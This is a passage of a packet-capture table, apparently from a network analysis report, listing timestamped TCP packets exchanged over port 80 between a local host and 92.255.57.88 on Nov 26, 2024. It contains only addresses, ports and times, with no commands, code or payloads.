Nov 26, 2024 00:07:43.542628050 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.542680025 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.542722940 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.542768955 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.543590069 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.543638945 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.543819904 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.543870926 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.544426918 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.544476986 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.544513941 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.544560909 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.545265913 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.545316935 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.545372963 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.545417070 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.546138048 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.546185970 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.546356916 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.546400070 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.547039986 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.547087908 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.547122002 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.547163010 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.547888041 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.547935963 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.548022032 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.548069000 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.548765898 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.548814058 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.548851967 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.548897028 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.549624920 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.549698114 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.549727917 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.549776077 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.550496101 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.550543070 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.550600052 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.550647020 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.551371098 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.551422119 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.551430941 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.551476002 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.552251101 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.552294970 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.552344084 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.552392006 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.553139925 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.553188086 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.553322077 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.553371906 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.554008007 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.554056883 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.554121017 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.554167032 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.554934978 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.554985046 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.555052996 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.555099010 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.555721045 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.555768013 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.555850029 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.555898905 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.556715012 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.556763887 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.556828976 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.556879044 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.557459116 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.557506084 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.557593107 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.557638884 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.558331013 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.558377981 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.558445930 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.558495045 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.559221029 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.559267998 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.559330940 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.559376001 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.560072899 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.560139894 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.560187101 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.560234070 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.560966969 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.561022043 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.561083078 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.561131954 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.561841965 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.561894894 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.561953068 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.562005997 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.562701941 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.562751055 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.562858105 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.562907934 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.563628912 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.563677073 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.563698053 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.563744068 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.564467907 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.564517021 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.564589024 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.564635992 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.565327883 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.565376043 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.565454006 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.565500021 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.566193104 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.566240072 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.566306114 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.566358089 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.567059994 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.567107916 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.567321062 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.567368984 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.567939043 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.567986012 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.568059921 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.568108082 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.568804026 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.568850994 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.568875074 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.568918943 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.657274008 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.657339096 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.657377005 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.657423019 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.657730103 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.657788038 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.657824039 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.657867908 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.658545971 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.658601999 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.658654928 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.658701897 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.659414053 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.659459114 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.659533024 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.659576893 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.660373926 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.660428047 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.660480022 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.660527945 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.661155939 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.661205053 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.661331892 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.661379099 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.662031889 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.662081957 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.739357948 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.739437103 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.739459991 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.739505053 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.739705086 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.739757061 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.739866972 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.739919901 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.740586042 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.740638018 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.740714073 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.740767002 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.741456032 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.741508961 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.741601944 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.741653919 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.742357969 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.742409945 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.742444992 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.742492914 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.743283987 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.743330002 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.743336916 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.743412018 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.744087934 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.744143009 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.744199991 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.744251013 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.744972944 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.745035887 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.745069981 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.745116949 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.745912075 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.745969057 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.746007919 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.746059895 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.746730089 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.746783018 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.746859074 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.746911049 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.747560024 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.747639894 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.747697115 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.747747898 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.748496056 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.748552084 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.748630047 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.748681068 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.749356031 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.749408960 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.749428988 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.749478102 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.750227928 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.750282049 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.750294924 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.750339985 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.751079082 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.751133919 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.751250982 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.751302958 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.751938105 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.751992941 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.752043009 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.752093077 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.752820015 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.752881050 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.752899885 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.752948046 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.753739119 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.753792048 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.753807068 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.753845930 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.754580975 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.754635096 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.754673004 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.754718065 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.755429983 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.755482912 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.755558014 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.755609035 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.756304979 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.756364107 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.756402969 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.756453037 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.757185936 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.757236004 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.757319927 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.757369995 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.758131981 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.758187056 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.758243084 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.758294106 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.758902073 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.758956909 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.759005070 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.759059906 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.759794950 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.759850979 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.759887934 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.759943008 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.760660887 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.760715961 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.760776043 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.760833025 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.761534929 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.761583090 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.761651993 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.761698008 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.762402058 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.762456894 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.762492895 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.762540102 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.763290882 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.763344049 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.763381004 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.763431072 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.764272928 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.764321089 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.764354944 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.764396906 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.765021086 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.765074968 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.765106916 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.765149117 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.765928030 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.765983105 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.765986919 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.766032934 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.766814947 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.766869068 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.766887903 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.766933918 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.767663002 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.767719984 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.767759085 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.767803907 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.768556118 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.768624067 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.768627882 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.768665075 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.769480944 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.769535065 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.769592047 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.769640923 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.770270109 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.770324945 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.770356894 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.770406008 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.771167994 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.771222115 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.771286011 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.771338940 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.772042990 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.772098064 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.772138119 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.772195101 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.772897959 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.772954941 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.772988081 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.773036957 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.773756027 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.773813963 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.773888111 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.773937941 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.774669886 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.774688005 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.774732113 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.775505066 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.775563002 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.775595903 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.775645971 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.776412964 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.776472092 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.776510000 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.776561022 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.777261019 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.777312040 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.777401924 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.777451992 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.778126001 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.778177977 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.778306961 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.778356075 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.778987885 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.779058933 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.779094934 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.779139996 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.779858112 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:43.779921055 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:43.779973030 CET	80	49753	92.255.57.88	192.168.2.4
